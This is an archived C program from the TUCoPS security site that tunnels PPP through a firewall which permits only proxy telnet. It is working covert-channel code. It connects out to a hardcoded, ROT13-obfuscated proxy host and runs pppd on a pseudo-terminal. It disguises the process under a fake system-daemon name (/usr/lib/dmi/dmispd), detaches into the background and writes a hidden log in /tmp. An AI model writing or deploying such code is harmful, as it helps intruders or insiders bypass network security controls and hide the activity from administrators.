TUCoPS :: Linux :: Discontinued :: ptyz.c

ppp-in-telnet 1.0 pppit allows one to tunnel through a firewall which only allows proxy telnet, such as SWAN.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <poll.h>
#include <setjmp.h>		/* jmp_buf et al */
#include <stropts.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/time.h>		/* timeval, time_t */
#include <sys/socket.h>		/* basics, SO_ and AF_ defs, sockaddr, ... */
#include <sys/conf.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/select.h>

#include <netdb.h>		/* hostent, gethostby*, getservby* */
#include <netinet/in.h>		/* sockaddr_in, htons, in_addr */
#include <netinet/in_systm.h>	/* misc crud that netinet/ip.h references */
#include <netinet/ip.h>		/* IPOPT_LSRR, header stuff */
#include <arpa/inet.h>		/* inet_ntoa */

char *pname = NULL;
char *program = 0;
char *args[] = { 0, 0, };

#define DONE(x) { code = (x); goto done; }

void
trans(char *p, char *from, char *to) {
  while (*p) {
      if (*p == from[0])
	  *p = to[0];
      else if (*p == from[1])
	  *p = to[1];
      else if (*p < 'n') 
	  *p = *p + 13;
      else 
	  *p = *p - 13;
      p++;
  }
}


int
doexec(int netfd) {
  int fdm, fds;
  int code = 0;
  pid_t pid;
  struct stat stb;
  char *sname;
  char buf[256];
  int port=6999;
  char *host = getenv("DH");
  char *p;
  char *logName = "/tmp/_lgpt_";
  FILE *log = NULL;

  dup2 (netfd, 0);		
  close (netfd);		
  dup2 (0, 1);			
  dup2 (0, 2);

  if (!access(logName,W_OK)) {
    log = fopen(logName,"a+");
    if (!log)
      log = NULL;
  }
  if (log) {
    fprintf(log,"Log open %d\n",getpid());
    fflush(log);
  }

  if (!host) {
      if (log) {
	  fprintf(log,"Error: host undefined\n");
	  fflush(log);
      }
    exit(1);
  }

  p = getenv("DP");
  if (p && isdigit(*p)) 
      port = strtol(p,0,0);
  sleep(1);
  if (log) {
    fprintf(log,"%s %d\n",host,port);
    fflush(log);
  }
  printf("%s %d\n",host,port);
  fflush(stdout);
  p = buf;
  while (p < buf+256) {
      *p = 0;
      code = read(1,p,1);
      if (code != 1) {	
	  if (log) {
	      fprintf(log,"failed input: %s<%d>\n",	buf, p-buf);
	      fflush(log);
	  }
	  exit(2);
      }
      if (*p == '\r')
	  continue;
      if (*p == '\n') {
	  if (log) {
	      fprintf(log,"input <%d>:%s\n",p-buf,buf);	
	      fflush(log);
	  }
	  break;
      }
      p++;
  }
  
  /* 
   * don't fork 
   */
  if (fork() > 0) 
     exit(0);

  /*
   * allocate a terminal pair
   */
  fdm = open("/dev/ptmx", O_RDWR | O_NOCTTY);
  if (fdm < 0 || fstat(fdm, &stb) < 0) {
      if (log) {
	  fprintf(log, "%s: Can't stat pty: %s",pname,strerror(errno));
	  fflush(log);
      }
    exit(2);
  }

  /*
   * find the slave, unlock it
   */
  sname = (char *)ptsname(fdm);
  if ((sname == NULL) || grantpt(fdm) || unlockpt(fdm)) {
      if (log) {
	  fprintf(log, "%s: Can't unlock pty: %s\n",pname,strerror(errno));
	  fflush(log);
      }
    exit(3);
  }
  
  /*
   * get an fd for the slave
   */
  fds = open(sname, O_RDWR);
  if (fds < 0) {
      if (log) {
	  fprintf(log, "%s: Cannot open slave pty %s: %s\n",
		  pname, sname, strerror(errno));
	  fflush(log);
      }
    exit(4);
  }

  program = strdup("%hfe#ybpny#ova%cccq");
  trans(program,"%#","//");
  args[0] = strdup("Qhfe^yvoQqzv^qzvfcq");
  trans(args[0],"Q^","//");

  /*
   * enable terminal line-discipline on the slave
   */
  ioctl(fds, I_PUSH, "ptem");
  ioctl(fds, I_PUSH, "ldterm");

  /*
   * fork
   */
  pid = fork();
  if (pid < 0) {
      if (log) {
	  fprintf(log, "%s: fork failed: %s\n", pname, strerror(errno));
	  fflush(log);
      }
    exit(5);
  }

  /* Put in separate process group, disassociate
     controlling terminal. */
  setsid();
  if (log) {
	fprintf(log, "process %d\n",getpid());
	fflush(log);
  }

  if (pid > 0) {        /* Parent */
    int i, n;
    int status = 0;
    struct pollfd pfds[2];
#define BUFLEN 8192
    char outbuf[BUFLEN];
    char inbuf[BUFLEN];
    int outnb = 0;
    int innb = 0;

    pfds[0].fd = fdm;
    pfds[1].fd = 0;

    for (i=0; i<2; i++) {
      int flag_bits = 0;
      pfds[i].events = POLLIN;
      pfds[i].revents = 0;
      if (!fcntl(pfds[i].fd,F_GETFL,&flag_bits)) {
	flag_bits |= O_NONBLOCK;
	fcntl(pfds[i].fd,F_SETFL,&flag_bits);
      }
    }
    
    /* shuttle bytes between stdio and pty */
    while (waitpid(pid,&status,WNOHANG) != pid 
	   || !(WIFEXITED(status) || WIFSIGNALED(status))) {
      /* child has not exitted yet */
      if (n = poll(pfds+0,2,10) > 0) { /* 10 millisec poll block */
	/* check for closes */
	for (i=0; i<2; i++) 
	  if (pfds[i].revents & POLLHUP) 
	    DONE(1);
	
	/* shuttle bytes from fdm to stdout */
	if ((pfds[0].revents & POLLIN) && outnb < BUFLEN) {
	  if (!(n = read(fdm,outbuf+outnb,BUFLEN-outnb))) 
	    DONE(2);
	  if (n > 0)
	    outnb += n;
	  else 
	    ;
	}
	if (outnb > 0) {
	  n = write(1,outbuf,outnb);
	  if (n > 0) {
	    outnb -= n;
	    memmove(outbuf,outbuf+n,outnb);
	  } else if (errno != EWOULDBLOCK)
	    DONE(3);
	} 

	/* shuttle bytes from stdin to fdm */
	if ((pfds[1].revents & POLLIN) && innb < BUFLEN) {
	  if (!(n = read(0,inbuf+innb,BUFLEN-innb))) 
	    DONE(4);
	  if (n > 0)
	    innb += n;
	  else 
	    ;
	}
	if (innb > 0) {
	  n = write(fdm,inbuf,innb);
	  if (n > 0) {
	    innb -= n;
	    memmove(inbuf,inbuf+n,innb);
	  } else if (errno != EWOULDBLOCK)
	    DONE(5);
	}

      } /* end if poll */

    } /* end while */

done:
    /* child exitted */
    close(fdm);
    close(0);
    close(1);
    close(2);
    /* return child status */
    if (!(WIFEXITED(status) || WIFSIGNALED(status)))
      waitpid(pid,&status,0);
    if (log) {
        fprintf(log,"Child status %d, parent code %d\n",WEXITSTATUS(status),code);
        fflush(log);
    }
    exit(WEXITSTATUS(status));

  } else {            /* Child */

    close(fdm);
    dup2(fds, 0);
    dup2(fds, 1);
    dup2(fds, 2);
    if (fds > 2)
      (void) close(fds);
    execv(program,args);
    if (log) {
        fprintf(log,"Failed to exec %s: %s\n",program,args[0]);  
        fflush(log);
    }
    exit(6);

  } /* end if child */

}


struct host_data {
  char name[MAXHOSTNAMELEN];	/* dns name */
  char addrs[8][24];		/* ascii-format IP addresses */
  struct in_addr iaddrs[8];	/* real addresses: in_addr.s_addr: ulong */
};

/* globals: */
jmp_buf jbuf;			/* timer crud */
int jval = 0;			/* timer crud */
int netfd = -1;
int ofd = 0;			/* hexdump output fd */
static char unknown[] = "(UNKNOWN)";
extern int h_errno;
struct sockaddr_in lclend;
struct sockaddr_in remend;

/* global cmd flags: */
ushort o_verbose = 0;
unsigned int o_wait = 0;
ushort o_zero = 0;
/* Debug macro: squirt whatever message and sleep a bit so we can see it go
   by.  need to call like Debug ((stuff)) [with no ; ] so macro args match!
   Beware: writes to stdOUT... */
#ifdef DEBUG
#define Debug(x) printf x; printf ("\n"); fflush (stdout); sleep (1);
#else
#define Debug(x)	/* nil... */
#endif


/* timeout and other signal handling cruft */
void tmtravel (int ign)
{
  signal (SIGALRM, SIG_IGN);
  alarm (0);
  if (jval == 0) {
    exit(1);
  }
  longjmp (jbuf, jval);
}

/* arm :
   set the timer.  Zero secs arg means unarm */
void arm (num, secs)
  unsigned int num;
  unsigned int secs;
{
  if (secs == 0) {			/* reset */
    signal (SIGALRM, SIG_IGN);
    alarm (0);
    jval = 0;
  } else {				/* set */
    signal (SIGALRM, tmtravel);
    alarm (secs);
    jval = num;
  } /* if secs */
} /* arm */


struct host_data * gethostdata (name, numeric)
  char * name;
  ushort numeric;
{
  struct hostent * hostent;
  struct in_addr iaddr;
  register struct host_data * data = NULL;
  register int x;

  errno = 0;
  h_errno = 0;
  if (name) 
    data = (struct host_data *) malloc(sizeof (struct host_data));
  if (! data) {
    exit(1);
  }
  memset(data,0,sizeof( struct host_data));
  strcpy (data->name, unknown);		/* preload it */
/* see wzv:workarounds.c for dg/ux return-a-struct inet_addr lossage */
  iaddr.s_addr = inet_addr (name);

  if (iaddr.s_addr == 0xffffffff) {	/* here's the great split: names... */
      if (numeric) {
	  exit(1);
      }
    hostent = gethostbyname (name);
    if (! hostent) {
      exit(1);
    }
    strncpy (data->name, hostent->h_name, MAXHOSTNAMELEN - 2);
    for (x = 0; hostent->h_addr_list[x] && (x < 8); x++) {
      memcpy (&data->iaddrs[x], hostent->h_addr_list[x], sizeof (struct in_addr));
      strncpy (data->addrs[x], inet_ntoa (data->iaddrs[x]),
	sizeof (data->addrs[0]));
    } /* for x -> addrs, part A */
    return (data);			/* inverse stuff, we're done. */
  } /* INADDR_NONE Great Split */

  /* whatever-all went down previously, we should now have a host_data struct
     with at least one IP address in it. */
  h_errno = 0;
  return (data);
} /* gethostdata */


/* doconnect :
   do all the socket stuff, and return an fd for
	an open outbound TCP connection
   with appropriate socket options set up if we wanted source-routing, or
	an unconnected TCP or UDP socket to listen on.
   Examines various global o_blah flags to figure out what-all to do. */
int doconnect (rad, rp, lad, lp)
  struct in_addr * rad;
  ushort rp;
  struct in_addr * lad;
  ushort lp;
{
  register int nnetfd;
  register int rr;
  int x, y;
  errno = 0;

/* grab a socket; set opts */
newskt:
  nnetfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (nnetfd < 0){
    exit(1);
  }
  if (nnetfd == 0)		/* if stdin was closed this might *be* 0, */
    goto newskt;		/* so grab another.  See text for why... */
  x = 1;
  rr = setsockopt (nnetfd, SOL_SOCKET, SO_REUSEADDR, &x, sizeof (x));
  
  /* fill in all the right sockaddr crud */
    lclend.sin_family = AF_INET;

/* fill in all the right sockaddr crud */
  lclend.sin_family = AF_INET;
  remend.sin_family = AF_INET;

/* if lad/lp, do appropriate binding */
  if (lad)
    memcpy (&lclend.sin_addr.s_addr, lad, sizeof (struct in_addr));
  if (lp)
    lclend.sin_port = htons (lp);
  rr = 0;
  if (lad || lp) {
    x = (int) lp;
/* try a few times for the local bind, a la ftp-data-port... */
    for (y = 4; y > 0; y--) {
      rr = bind (nnetfd, (struct sockaddr *)&lclend, sizeof (struct sockaddr));
      if (rr == 0)
	break;
      if (errno != EADDRINUSE)
	break;
      else {
	fprintf(stderr,"retrying local %s:%d", inet_ntoa (lclend.sin_addr), lp);
	sleep (2);
	errno = 0;			/* clear from sleep */
      } /* if EADDRINUSE */
    } /* for y counter */
  } /* if lad or lp */
  if (rr) {
    fprintf(stderr,"Can't grab %s:%d with bind",
	inet_ntoa(lclend.sin_addr), lp);
    exit (1);
  }

  memcpy (&remend.sin_addr.s_addr, rad, sizeof (struct in_addr));
  remend.sin_port = htons (rp);

  /* wrap connect inside a timer, and hit it */
  arm (1, o_wait);
  if (setjmp (jbuf) == 0) {
    rr = connect (nnetfd, (struct sockaddr *)&remend, sizeof (struct sockaddr));
  } else {				/* setjmp: connect failed... */
    rr = -1;
    errno = ETIMEDOUT;			/* fake it */
  }
  arm (0, 0);
  if (rr == 0)
    return (nnetfd);
  close (nnetfd);			/* clean up junked socket FD!! */
  return (-1);
} /* doconnect */



int
main (int argc, char **argv) {
  char *pp, *pe, *prox, *cp;
  int x;
  struct host_data * whereto = NULL;
  struct in_addr * themaddr = NULL;
  ushort myport = 0;
  ushort remport = 0;

  pname = argv[0];
  if (cp = strrchr(pname,'/'))
      pname = ++cp;

  res_init();

  errno = 0;
  h_errno = 0;

  signal (SIGURG, SIG_IGN);
  signal (SIGPIPE, SIG_IGN);

  close (0);				/* won't need stdin */
  ofd = 0;

  pp = getenv("PH");
  if (pp != NULL)
      prox = pp;
  else {
      prox = strdup("fha!onee@ronl");
      trans(prox,"@!",".-");
  }
  whereto = gethostdata (prox, 0);
  if (whereto && whereto->iaddrs)
      themaddr = &whereto->iaddrs[0];
  errno = 0;
  h_errno = 0;
  myport = 0;

  pe = getenv("PP");
  if (pe)
      remport = strtol(pe,0,0);
  if (remport < 1)
      remport = 3666;

  netfd = doconnect (themaddr, remport, 0, myport);
  Debug (("netfd %d from port %d to port %d", netfd, myport, remport));
  if (netfd > 0) {			/* Yow, are we OPEN YET?! */
      x = 0;				/* pre-exit status */
      free(whereto);
      doexec (netfd);
      /* does not return */
  } 
  fprintf(stderr,"failed to connect\n");
  exit(1);
} /* main */


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH